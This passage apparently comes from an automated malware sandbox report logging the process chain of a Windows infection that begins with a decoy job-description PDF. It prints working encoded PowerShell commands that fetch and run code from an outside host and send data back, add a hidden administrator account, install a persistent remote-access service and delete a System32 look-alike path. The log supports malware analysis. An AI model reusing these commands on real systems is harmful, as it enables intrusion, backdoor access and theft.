            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAH
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\AppData\Local\Temp\Job-Description.pdf.pdf"
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
            Source: unknownProcess created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
            Source: unknownProcess created: C:\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
            Source: unknownProcess created: C:\Windows\Temp\svczHost.exe C:\Windows\Temp\svczHost.exe cakoi10 uyt1n8ded9fb380.com
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop "myRdpService"
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc delete "myRdpService"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net start "myRdpService"
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
            Source: unknownProcess created: C:\Windows\Temp\myRdpService.exe C:\Windows\Temp\myRdpService.exe cakoi10
            Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
            Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";"
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init"""
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\Temp\rdp.exe rdp.exe -i
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
            Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -s TermService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline"Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
